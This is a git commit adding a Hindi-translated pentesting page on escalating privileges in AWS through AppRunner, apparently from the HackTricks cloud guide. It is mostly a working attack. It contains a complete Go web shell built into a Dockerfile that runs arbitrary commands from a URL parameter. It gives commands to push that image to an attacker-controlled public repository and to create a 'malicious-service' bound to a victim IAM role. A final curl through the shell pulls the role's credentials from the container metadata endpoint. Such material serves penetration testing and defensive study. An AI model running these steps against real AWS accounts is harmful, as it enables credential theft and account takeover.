Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/

This commit is contained in:
Translator
2025-08-01 09:45:55 +00:00
parent bee84cb66a
commit bd36fa3c4c
4 changed files with 86 additions and 199 deletions

View File

@@ -0,0 +1,72 @@
# AWS - AppRunner Privesc
{{#include ../../../banners/hacktricks-training.md}}
## AppRunner
### `iam:PassRole`, `apprunner:CreateService`
इन अनुमतियों के साथ एक हमलावर एक AppRunner सेवा बना सकता है जिसमें एक संलग्न IAM भूमिका होती है, संभावित रूप से भूमिका के क्रेडेंशियल्स तक पहुँचकर विशेषाधिकार बढ़ा सकता है।
हमलावर पहले एक Dockerfile बनाता है जो AppRunner कंटेनर पर मनमाने कमांड निष्पादित करने के लिए एक वेब शेल के रूप में कार्य करता है।
```Dockerfile
FROM golang:1.24-bookworm
WORKDIR /app
RUN apt-get update && apt-get install -y ca-certificates curl
RUN cat <<'EOF' > main.go
package main
import (
"fmt"
"net/http"
"os/exec"
)
func main() {
http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
command := exec.Command("sh", "-c", r.URL.Query().Get("cmd"))
output, err := command.CombinedOutput()
if err != nil {
fmt.Fprint(w, err.Error(), output)
return
}
fmt.Fprint(w, string(output))
})
http.ListenAndServe("0.0.0.0:3000", nil)
}
EOF
RUN go mod init test && go build -o main .
EXPOSE 3000
CMD ["./main"]
```
फिर, इस इमेज को ECR रिपॉजिटरी में पुश करें।
एक हमलावर द्वारा नियंत्रित AWS खाते में एक सार्वजनिक रिपॉजिटरी में इमेज को पुश करके, विशेषाधिकार वृद्धि संभव है, भले ही पीड़ित के खाते में ECR को संभालने की अनुमति न हो।
```sh
IMAGE_NAME=public.ecr.aws/<alias>/<namespace>/<repo-name>:latest
docker buildx build --platform linux/amd64 -t $IMAGE_NAME .
aws ecr-public get-login-password | docker login --username AWS --password-stdin public.ecr.aws
docker push $IMAGE_NAME
docker logout public.ecr.aws
```
इसके बाद, हमलावर एक AppRunner सेवा बनाता है जो इस वेब शेल इमेज और IAM भूमिका के साथ कॉन्फ़िगर की गई है जिसे वे शोषण करना चाहते हैं।
```bash
aws apprunner create-service \
--service-name malicious-service \
--source-configuration '{
"ImageRepository": {
"ImageIdentifier": "public.ecr.aws/<alias>/<namespace>/<repo-name>:latest",
"ImageRepositoryType": "ECR_PUBLIC",
"ImageConfiguration": { "Port": "3000" }
}
}' \
--instance-configuration '{"InstanceRoleArn": "arn:aws:iam::123456789012:role/AppRunnerRole"}' \
--query Service.ServiceUrl
```
सेवा निर्माण पूरा होने का इंतजार करने के बाद, वेब शेल का उपयोग करके कंटेनर क्रेडेंशियल्स प्राप्त करें और AppRunner से जुड़े IAM भूमिका की अनुमतियों को प्राप्त करें।
```sh
curl 'https://<service-url>/?cmd=curl+http%3A%2F%2F169.254.170.2%24AWS_CONTAINER_CREDENTIALS_RELATIVE_URI'
```
**संभावित प्रभाव:** AppRunner सेवाओं से जोड़ा जा सकने वाला किसी भी IAM भूमिका तक सीधे विशेषाधिकार वृद्धि।
{{#include ../../../banners/hacktricks-training.md}}